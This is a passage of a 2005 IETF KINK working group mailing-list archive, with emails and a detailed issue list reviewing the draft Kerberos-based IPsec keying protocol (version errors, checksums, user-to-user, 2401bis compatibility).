Date: Thu, 03 Feb 2005 13:09:59 +0900 Message-ID: <20050203130959MR%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: KINK issue list rev.2 In-Reply-To: <1107377028.6704.22.camel@thomasm-lnx.cisco.com> References: <20050202114930V.sakane@kame.net> <1107375570.6706.19.camel@thomasm-lnx.cisco.com> <1107377028.6704.22.camel@thomasm-lnx.cisco.com> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Wed, 02 Feb 2005 12:43:48 -0800, Michael Thomas wrote: > > On Wed, 2005-02-02 at 12:32, Sam Hartman wrote: > > >>>>> "Michael" == Michael Thomas writes: > > > > Michael> So I'm rather ambivalent. The current phrasing will > > Michael> certainly do it's main job: stopping a receiver from > > Michael> incorrectly parsing future versions and the potential > > Michael> exploits that could result. Maybe we really should leave > > Michael> it at that if for no other reason from a security/system > > Michael> analysis standpoint. > > > > If you want to leave it please at least say that the receiver must > > send back the appropriate bad version error. > > Well, I'm actually asking what others want here. I sort > of tend toward this, but it's not just my call here... I have no problem on returning KINK_INVMIN. If we would accept unknown minor version, we were likely to come up against unknown payload type, and result to return an error. If we want to address this, we might need a flag like the "critical" bit of IKEv2, but I think KINK doesn't need such complexity. # If the initator would like to establish SAs at any cost, # it can fallback to KINK version X.0 anyway. -- KAMADA Ken'ichi From owner-ietf-kink Wed Feb 2 22:05:45 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1365jKh041496; Wed, 2 Feb 2005 22:05:45 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1365jBs041495; Wed, 2 Feb 2005 22:05:45 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1365Z17041351 for ; Wed, 2 Feb 2005 22:05:39 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (dhcp-135-105.hongo.wide.ad.jp [203.178.135.105]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j1365ChB020491; Thu, 3 Feb 2005 15:05:14 +0900 (JST) (envelope-from sakane@kame.net) To: kent@bbn.com Cc: hartmans-ietf@mit.edu, mat@cisco.com, ietf-kink@vpnc.org Subject: Re: KINK should referenece to IKEv2? In-Reply-To: Your message of "Wed, 2 Feb 2005 17:03:36 -0500" References: X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050203150457A.sakane@kame.net> Date: Thu, 03 Feb 2005 15:04:57 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 15 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > >I think the main 2401bis feature is multiple SAs between two > >destinations. Kink actually already has this capability. It may be > >that by changing the text slightly and removing the requirement on > >selecting which SA to use if multiple SAs exist, we can get most > >2401bis functionality. > > 2401 already requires support for multiple SAs between a pair of > peers. What 2401bis adds is a requirement to support these multiple > SAs to have identical selectors, and where we are not just replacing > one SA with a successor. 2401bis requires a system complies 2401bis to handle multiple SAs with same selector, but different "classifier" between same two nodes. it means that it requires a key management protocol to establish multiple SAs somehow. i think that current kink specification can do that. From owner-ietf-kink Thu Feb 3 19:29:08 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j143T8Ef084839; Thu, 3 Feb 2005 19:29:08 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j143T8xC084838; Thu, 3 Feb 2005 19:29:08 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j143T0RP084826 for ; Thu, 3 Feb 2005 19:29:04 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j143SuhB026706; Fri, 4 Feb 2005 12:28:57 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Cc: kent@bbn.com, hartmans-ietf@mit.edu Subject: Re: KINK should referenece to IKEv2? In-Reply-To: Your message of "Thu, 03 Feb 2005 12:22:41 +0900" References: X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050204122910T.sakane@kame.net> Date: Fri, 04 Feb 2005 12:29:10 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 37 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: My point was that I would not be happy that KINK based on 2401bis did not work on an 2401 base platform due to market issue. So I suggested that it would be better to fix the specification based on 2401 first. But, I change my mind. I probably confused. KINK can be based on 2401bis and can support its all feature like IKEv2. In this case when KINK runs on 2401, KINK doesn't use of its feature related to 2401bis, that is all. In fact, our IKEv2 pre-implementation based works fine on a 2401 platform. But it must be too much for KINK requirement to support all feature of 2401bis. So As I read Sam's last mail, my current opinion is that: - we have to describe the document complying with 2401bis wording and its model. - we don't need to make KINK which supports all feature of 2401bis. - if above two are true, we don't need to take IKEv2 format by force. just use almost current payloads. - however we have to describe how KINK works on 2401bis. - we have to also describe what KINK dosen't support the features although it may be unnecessary. Here is Sam's assumptions: 1. Making Kink based on 2401bis will not require significant change. 2. Making Kink based on 2401bis will not create significant confusion for 2401 implementers. 3. Making kink based on 2401bis will not require significant work for people who have mostly complete kink implementations. #1 is almost true. I believe that we don't need significant change of KINK specification, but we need to work improving the text a lot. #2 is true. because we don't need significant change of KINK specification from #1. #3 is true. because from #2. Well, at least for me, there is no reason that we are sticking to current specification related to 2401. From owner-ietf-kink Thu Feb 3 20:10:31 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j144AT4t088178; Thu, 3 Feb 2005 20:10:30 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j144ARxu088176; Thu, 3 Feb 2005 20:10:28 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j144AKXo088145 for ; Thu, 3 Feb 2005 20:10:20 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 7B6C35 for ; Fri, 4 Feb 2005 13:10:05 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 3oPmc4; Fri, 4 Feb 2005 13:10:05 +0900 (JST) Date: Fri, 04 Feb 2005 13:11:15 +0900 Message-ID: <20050204131115BV%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: KINK issue list rev.3 User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: not yet analyzed: 3 open: 28 solution proposed: 7 waiting revised i-d: 2 closed: 1 --------------------------- total: 41 [**] Indicates an issue considered substantive. [-] Indicates an editorial issue. (2401bis) Indicates it depends on 2401 vs 2401bis. #1 [**] Versioning what happens when a receiver receives a major or minor version of the kink or qm that is inconsistent with this document? What about unknown payload types? (Sam Hartman) QM version is discussed in section 12 (Forward Compatibility Considerations). - KINK version return error (KINK_INVMAJ, KINK_INVMIN) - QM versoin already specified in section 12. - KINK payload type return error (KINK_PROTOERR) - ISAKMP payload type return error (ISAKMP INVALID-PAYLOAD-TYPE) (describe each Notify type usage like ikev2 spec.) Specify the behavior when the error is not authenticated in the Security Consideration section. #2 [**] U2U (not yet analyzed) I think we need to look at how u2u works at various parts of the protocol. In particular I'm concerned about choosing the right u2u principal, dealing with cross-realm u2u and dealing with recovering from reboots. We should confirm all these work out. (Sam Hartman) #3 [**] user-to-user (section 3, 4.2, and 5.1.2) (not yet analyzed) It seems like the server tells the client what principal to authenticate to, but this principal is not properly authorized. (Sam Hartman) More examination of user-to-user case, especially situations where it might *not* be two PKINIT clients, which section 3 says is possible. (BTW, in the Kerberos docs, it's "user-to-user", not "user-user".) (Ken Raeburn) Verifying remotely supplied identity, as Sam raised earlier. (Ken Raeburn) In the user-to-user case with TGTs, I think the KINK draft may be over-specifying things that should be dealt with at the Kerberos level. If things are underspecified in Kerberos Clarifications, let's deal with that. (Ken Raeburn) Section 4.2: [**] How will the initiator determine whether it will be able to get a TGT? I think policy considerations of when to use u2u and authorization considerations of what u2u principals are authorized are underspecified in the draft. (Sam Hartman) [**] Make sure the descriptions of u2u work correctly in the cross-realm case. (Sam Hartman) Section 5.1.2: [**] How do I authorize which service I'm talking to in the u2u case. I.E. how do I know what principals are authorized for a particular SPD entry? (Sam Hartman) #4 [**](2401bis) CREATE command from the aspect of 2401bis (section 4.3) I need explicit review from the IPsec reviewer of this section to make sure it is compatible with 2401bis. #37 [**] Difference between IKE and KINK on CREATE command (section 4.3) IN addition, any differences between how this works and how IKE would set up the same SA need to be called out. It is fine for there to be differences, but I want to make sure the working group explicitly decided the differences are a good thing. I'm somewhat concerned that 4.3 is not specific enough to describe exactly what key gets set up. I.E. I'm concerned it may not be detailed enough for interoperable implementations. (Sam Hartman) - What keys are used for the resulting SA on the each side? (Sam Hartman, Message-ID: ) - Doesn't the timing when to add in/out SAs conflict with IKE? (Sam Hartman, Message-ID: ) #5 [*] When 3-way, is responder's nonce MUST or SHOULD? (section 4.3 and 7.3) (solution proposed) Sec 4.3 and 7.3 use SHOULD and MUST respectively regarding when the nonce should be used. If the circumstances they're describing are different, that's okay, but if so, I missed it on first reading. (Ken Raeburn) They are talking the same situation and the requirement levels should be aligned. I think SHOULD is appropriate because non-returning responder's nonce does not break interoperabilities. (Message-ID: <20050127171441FF%kamada@nanohz.org>) If the initiator receives a responder's nonce, she MUST use it in the KEYMAT calculation. #6 [*] Half open (section 4.4) (solution proposed) IPsec does not allow half-open security associations any more as far as I can tell in 2401bis. So it's not just for simplicity, but for model conformance. (Sam Hartman) Proposed solution: remove the phrase "for simplicity". (Message-ID: ) #7 [**] DPD & STATUS (section 4.4.2 and 4.5) [**] Discuss status message, rebooting peers and u2u. This looks a lot like the IKE case where you lose all cryptographic context to me. (Sam Hartman) I don't understand what you want here. Are you saying that this doesn't work in the u-u case? I don't understand what u-u has to do with anything here. (Michael Thomas) OK. I was unclear . When sending a status message, what happens if the peer has gotten a new TGT? How do I realize I need to use this TGT rather than the one I have? (Sam Hartman) #8 [*] CksumLen (section 5) (solution proposed) Diagram indicates one octet for cksumlen, but the text (and kcrypto specifications) say it should be two. Clarify that you mean the padding discussed in 5.1 (KINK Padding Rules), not crypto-system padding. (Sam Hartman) Use 2 octets for CksumLen field in accordance with kcrypto. See also: #9 #9 [**] etype does not directly indicate checksum type (section 5) (solution proposed) a key's encryption type does not directly indicate a checksum type, it indicates an encryption(-with-integrity-protection) scheme, which does include a required-to-implement checksum type (Ken Raeburn) Proposed solutions are: - Use required-to-implement checksum type determined by the etype. - Use get_mic or verify_mic function to generate or verify the checksum. - Omit the checksum field before calculation. - The Length field is filled with the packet length without checksum and the CksumLen field is zeroed out before the calculation. - Move the Cksum field to the end of the message. (maybe without padding between the last payload and checksum?) (Message-ID: <20050131093509FD%kamada@nanohz.org>) #10 [**] Kerberos allows variable length checksum (section 5) (solution proposed) I'd have to go back and check, but I don't think we require that a given checksum type have a fixed output size, so "leave X amount of space and fill it with zero for computing the checksum" is questionable too. (Ken Raeburn) Proposed solution: look at #9 #11 [*] Kerberos checksum is not deterministic (section 5) (solution proposed) The Kink description of how to verify a checksum assumes that Kerberos checksums are deterministic; this is not strictly required. (Sam Hartman) let kcrypto specify how to verify a checksum, as they're not required to be deterministic, so the "compute it again and compare" approach specified in section 5 is wrong (Ken Raeburn) Proposed solution: look at #9 #12 [**] Subsession keys (section 5 and 8) Are subsession keys ignored? (Ken Raeburn) The description of the checksum says that the session key of the ticket is used. That's a way to do it, but the working group should explain why it has chosen to ignore the subsession key. (Sam Hartman) #13 [**] Replay protection (section 5) (closed) The document claims that the transaction id is not used for replay detection because Kerberos provides that. How is that true? The authenticator is protected against replays but how is the rest of the message bound to that specific authenticator instead of to a session key of a ticket? (Sam Hartman) Closed: (Message-ID: ) #14 [-] Reserved (15 bits) -- Reserved and must be zero (section 5) must be zero on send, must be ignored by receiver. #15 [**] Principal name of KINK service (section 5.1.2) How do I discover the FQDN of my remote peer? SPD entries are configured in terms of IP addresses. If you want to store an identity in the PAD, why not store a principal instead of a hostname. #16 [*] EPOCH (section 5.1.2) Perhaps you need a description of the time stamp? I recall there being such a description in draft-housley-binarytime-xx. (Sam Hartman) The text is describing a 4-octet field in the KINK message header instead of ASN.1 field, so the description is not so needless. #17 [**] Checksum when KRB-ERROR occured (section 5.1.4 and 7.1) Section 7.1 says the checksum in the KRB-ERROR message is not used, but section 5.1.4 says that KINK implementation MUST make use of keyed Kerberos errors. But KRB-ERROR does not have checksum in it (at least with RFC 1510 or kerberos-clarifications). I think a correct phrase here is "KINK implementations MUST make use of a KINK Cksum field when returning KINK_KRB_ERROR and the appropriate service key is available." Remove following paragraph from section 5.1.4. (Sam Hartman) KINK implementations MUST make use of keyed Kerberos errors when the appropriate service key is available as specified in [KRBREVS]. In particular, clock skew errors MUST be integrity protected. For unauthenticated Kerberos errors, the receiver MAY choose to act on them, but SHOULD take precautions against make-work kinds of attacks. Drop reference to krb-error checksum from section 7.1. (Sam Hartman) defined in the following sections. The checksum in the KRB-ERROR message is not used, since the KINK header already contains a check- sum field. #18 [**] Kerberos error type limitations (section 5.1.4) Why should a sender send only those errors? I'm mostly asking for an explanation to be given to me or to be added to the document rather than liberalization of the requirement. (Sam Hartman) #19 [**] Cross-realm and U2U (section 5.1.5) (not yet analyzed) Please Consider how this works in the cross-realm case. I.E. make sure you end up with the right ticket on the right side. I believe this text assumes that you need a ticket in a realm close to the client; I think that for things to work you actually need a realm close to the server. Work through the message flows and make sure the KDC doing the decryption actually has the necessary keys and then adjust the document if necessary so the right KDC is used. The document needs to clearly indicate what error code is used in the case when the responder cannot get a ticket because some cross-realm key is missing. In general we want it to be possible for an initiator to try several identities until the initiator finds the right one that has a shared key. (Sam Hartman) #20 [**] KINK_ENCRYPT format (section 5.1.8) The format of the encrypted part of KINK_ENCRYPT (section 5.1.8) is vague. I think of using the output of raw encryption algorithms (i.e. E(confounder | plaintext | pad)) or using EncryptedData. treat "encryption with integrity protection" output as a whole, don't peek under the covers to find a "checksum" part you can throw away (Ken Raeburn) drop references to the initialization vector (Ken Raeburn) Please use the output of the kcrypto encrypt operation directly. Of most importance is to make sure that all kcrypto enctypes will work even if it is not possible to decompose the kcrypto checksum from the encrypted data. This probably means that in some cases you will have double checksums. You also need to deal with making sure you can determine the length of the plaintext. (Sam Hartman) #21 [*] Next Payload in KINK_ENCRYPT (section 5.1.8) Text should probably indacte that next payload must be none. #22 [*] Kerberos PFS (section 6.8) Sec 6.8: "Kerberos in general does not provide PFS so it is somewhat questionable whether a system which is heavily relying on Kerberos benefits from PFS." First, that sounds like it might be Security Considerations material. Second, I don't follow; explain please? (Ken Raeburn) #23 [*] KE interoperability (section 6.8) What happens if a peer that implements the KE payloads communicates with a peer that does not. Specify the behavior in sufficient detail to guarantee interoperability. (Sam Hartman) #24 [*] MUST/SHOULD in clock skew (section 7.1) The time difference MUST be computed and SHOULD be stored and used? Why the different requirement levels? (And is this sort of thing in the domain of KINK or Kerberos?) (Ken Raeburn) #25 [**] prf (section 8) Section 8 says "prf is the same hash algorithm found in the session ticket's etype", but krb-wg-crypto-07 defines hash as unkeyed. Fortunately krb-wg-crypto-07 defines a PRF for each etype, so KINK should use this PRF. Use a prf from kcrypto, don't assume the checksum operations are deterministic hash functions (Ken Raeburn) Section 6.1 (the description of hash algorithm): This checksum may not be deterministic and is probably not appropriate for use in setting up a key. A PRF is provided, although depending on how the hash is used the PRF may or may not be a suitable replacement. There has been significant discussion within krb-wg on when the PRF is appropriate and when it is not. This discussion centered around key determination in pkinit. (Sam Hartman) #26 [*] Key derivation (section 8) The key derivation seems inconsistent with the crypto framework document. (Sam Hartman) I don't understand what this section says well enough to determine whether it works with kcrypto. (Sam Hartman) #27 [*](2401bis) SPD Considerations (section 10.1) This should not go in the security considartions section. It is really more about IPsec architectural considerations than security considerations. This text needs to take into account 2401bis. In particular it needs to be properly split between SPD considerations and PAD considerations. (Sam Hartman) #28 [*] Key usage Usage of kink should specify the key usage numbers for kerberos encryption. (Sam Hartman) #29 [*](2401bis) Rekeying (section 4.4.1) section 4.4.1: Please make sure this discussion is aligned with 2401bis. I think it may change small details but they seem to have adopted much of the same strategy kink uses. The area wher I believe they speak to this issue is when you should rekey (timers etc). (Sam Hartman) #30 [*](2401bis) IKEv2 Should we adopt IKEv2? If we should... - IKEv2 does not have DOI, so how to handle the DOI field in the KINK packet header should be described. - Use TS (Traffic Selector) instead of ID (Identification). - KEYMAT calculation is changed. - How to handle REKEY_SA Notify type. #31 [*] behavior on KINK_ERROR In implementor's point of view, I'd like to see initiator's behavior in receiving KINK_ERROR to be defined. For example: - When KINK_OK is received, initiator MAY act as if the KINK_ERROR payload was not included in the messaged. - When KINK_BADQMVERS is received and the Cksum is verified, initiator MAY retry in other Quick Mode version. - When one of other error codes is received and the Cksum is verified, initiator SHOULD abort the negotiation. when does the responder generate these errors? #32 [-] I-D nits Review the I-D nits and RFC authors docs. I spotted a lot of mechanical things (number of lines per page; avoid hyphenation; use ragged right margin; need two spaces after sentence-ending period; fix page numbers in table of contents; add section numbers to TOC) most of which I think are specified in one of those documents. (Ken Raeburn) the document needs to meet all the ID nits when it is submitted. (Sam Hartman) #33 [-] IANA considerations (section 11) I think the correct terminology is "port number", not "port", and they're "assigned", not "created". This section says no new registries are required in the first paragraph, and the third one specifies that IANA must create one (but without the associated procedural data that is required nowadays). Are the KINK payload types and ISAKMP payload types actually ever used in the same field? If not, I don't think they need to come out of the same registry. (Ken Raeburn) Needs work. You may want to stop by tthe IANA office hours and ask them for advice. They are generally quite good at working with authors to figure out how things need to be specified. (Sam Hartman) #38 [-] Terminology Section 2 and 10.1. Kerberos is now using the term user-user rather than user-to-user. (Sam Hartman) Section 2. Principals are not either client or service principals; they can and often do fill both roles. (Sam Hartman) #40 [-] Wording (waiting revised i-d) Section 2, last paragraph. "Between" is generally non-directional, but in this case, a direction seems to be intended to be inferred; try "from...to" instead. (Ken Raeburn) #41 [-] Wording in section 3, Protocol Overview Section 3, English usage/grammar problems with the first two paragraphs. (Sam Hartman) Section 3. which allows a final acknowledgment message when the respondent needs a full three-way handshake. This is only needed when the optimistic keying route is not taken, though it is expected that that will not be the norm. KINK also provides rekeying and dead peer detection as What is expected not to be the norm? Please reword. (Sam Hartman) #42 [-] Wording Section 4.3, discussing attributes, mixes singular and plural indications. The word "lone" appears to be popular with the author, too. :-) (Ken Raeburn) #43 [-] Wording Sec 8: "By optional, it is meant..." is badly worded. (Ken Raeburn) #35 [-] References (solution proposed) The reference to [PKCROSS] is unnecessary, and only happens once, in the introduction. I'd suggest dropping it. That's one less unpublished I-D in the references section. (Ken Raeburn) [KRBREVS] is referenced but not listed in the references section. (Ken Raeburn) Sec 5.1.7, next to last paragraph on page 21, is "IKE" (the protocol) fuzzy about use of different SAs, or is it "[IKE]" (the document)? (Ken Raeburn) Section 1: Remove the reference to pkcross or cite something outside the IETF. It's an expired ID without and active editor. (Sam Hartman) Section 1: Add an informative reference to IKE. (Sam Hartman) Section 2: Cite a reference for DER. (Sam Hartman) Section 5: DOI Cite a specific registry please. IANA registries are typically named, and a URL reference would probably be appropriate. #36 [-] Typos (waiting revised i-d) 4.4.2. Dead Peer Detection In the fourth paragraph, "loose" is to be "lose". 5.1 KINK Payloads In the first item, the length of the Next Payload should be one octet instead of two. 5.1.1. KINK Padding Rules In the second item, "other other" is to be "other". 5.1.1. KINK Padding Rules The first item in the list should end with a period like the others. (Ken Raeburn) 5.1.5. KINK_TGT_REQ Payload In the third item, "krbtgt/REALM/@REALM" is to be "krbtgt/REALM@REALM". 5.1.6. KINK_TGT_REP Payload In the caption of Figure 13, "KINK_TGT_REQ" is to be "KINK_TGT_REP". 7.3. CREATE "IPspec" is to be "IPsec". 7.5. STATUS In the last paragraph, "REPLY KINK Header" should be in one line. In the last paragraph, "[KRB_ERROR]" is to be "[KINK_ERROR]". overall: "'s" is used in some places where I'd use "s" for a plural form. From owner-ietf-kink Thu Feb 3 20:36:17 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j144aH4q090639; Thu, 3 Feb 2005 20:36:17 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j144aHrf090638; Thu, 3 Feb 2005 20:36:17 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j144aG3n090590 for ; Thu, 3 Feb 2005 20:36:16 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:200:1b0:1000:b90a:6c3b:e602:ffb6] ([2001:200:1b0:1000:b90a:6c3b:e602:ffb6]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,256bits,AES256-SHA) by miyazawa.org with esmtp; Fri, 04 Feb 2005 13:35:19 +0900 id 00007D92.4202FB87.00005EB3 Message-ID: <4202FB85.6080406@miyazawa.org> Date: Fri, 04 Feb 2005 13:35:17 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: ietf-kink@vpnc.org Subject: Issue 24 MUST/SHOULD in clock skew (section 7.1) Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hello, #24 [*] MUST/SHOULD in clock skew (section 7.1) The time difference MUST be computed and SHOULD be stored and used? Why the different requirement levels? (And is this sort of thing in the domain of KINK or Kerberos?) (Ken Raeburn) I considered this issue. The clarifications does not mention clock skew processing in the client/server authentication exchange. The way to process the skew is left to an application. I think the clock skew processing is an implementation and/or operational issue in KINK. However the server must provide the ctime because the client may want to continue the process though there is skew. I propose that KINK filling out ctime is MUST but KINK should not decide the processing. -- Kazunori Miyazawa From owner-ietf-kink Fri Feb 4 00:03:52 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1483qlj044666; Fri, 4 Feb 2005 00:03:52 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1483qHg044665; Fri, 4 Feb 2005 00:03:52 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1483obn044602 for ; Fri, 4 Feb 2005 00:03:51 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 81E2F5; Fri, 4 Feb 2005 17:03:41 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 3pq4dT; Fri, 4 Feb 2005 17:03:41 +0900 (JST) Date: Fri, 04 Feb 2005 17:04:51 +0900 Message-ID: <20050204170451BM%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: hartmans-ietf@mit.edu, ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] In-Reply-To: References: <20050201115400MZ%kamada@nanohz.org> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Tue, 01 Feb 2005 17:06:33 -0500, Sam Hartman wrote: > > >>>>> "KAMADA" == KAMADA Ken'ichi writes: > > >> Section 4.3: > >> > >> [**] I need explicit review from the IPsec reviewer of this > >> section to make sure it is compatible with 2401bis. IN > >> addition, any differences between how this works and how IKE > >> would set up the same SA need to be called out. It is fine for > >> there to be differences, but I want to make sure the working > >> group explicitly decided the differences are a good thing. > >> > >> I'm somewhat concerned that 4.3 is not specific enough to > >> describe exactly what key gets set up. I.E. I'm concerned it > >> may not be detailed enough for interoperable implementations. > > KAMADA> Section 4.3 describes the message flow and section 7.3 > KAMADA> describes the message structure. Differences between KINK > KAMADA> and IKE is described in section 7.3 (and also in section > KAMADA> 4.4.1, 5.1.7, and 6). I think they are enough to be > KAMADA> interoperable (at least regarding SA setup). Is your > KAMADA> concern resolved if section 4 referes to section 7? > > I think everything is clear except for what key ends up getting used > for the resulting SA. I think that needs specific text. The key used for IPsec SAs is defined in section 8, "Key Derivation". Its definition follows IKEv1. -- KAMADA Ken'ichi From owner-ietf-kink Fri Feb 4 00:03:58 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1483wUS044706; Fri, 4 Feb 2005 00:03:58 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1483wip044705; Fri, 4 Feb 2005 00:03:58 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1483oQD044616 for ; Fri, 4 Feb 2005 00:03:51 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 2B84E5E for ; Fri, 4 Feb 2005 17:03:44 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 072Szs; Fri, 4 Feb 2005 17:03:44 +0900 (JST) Date: Fri, 04 Feb 2005 17:04:54 +0900 Message-ID: <20050204170454BO%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] In-Reply-To: References: <20050202112802J.sakane@kame.net> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Wed, 02 Feb 2005 13:56:54 -0500, Sam Hartman wrote: > > >>>>> "Shoichi" == Shoichi Sakane writes: > > >> Section 4.3: > >> > >> [**] I need explicit review from the IPsec reviewer of this > >> section to make sure it is compatible with 2401bis. IN > >> addition, any differences between how this works and how IKE > >> would set up the same SA need to be called out. It is fine for > >> there to be differences, but I want to make sure the working > >> group explicitly decided the differences are a good thing. > > Shoichi> i dont think there are differneces between them. because > Shoichi> KINK just carries IKEv1 quick 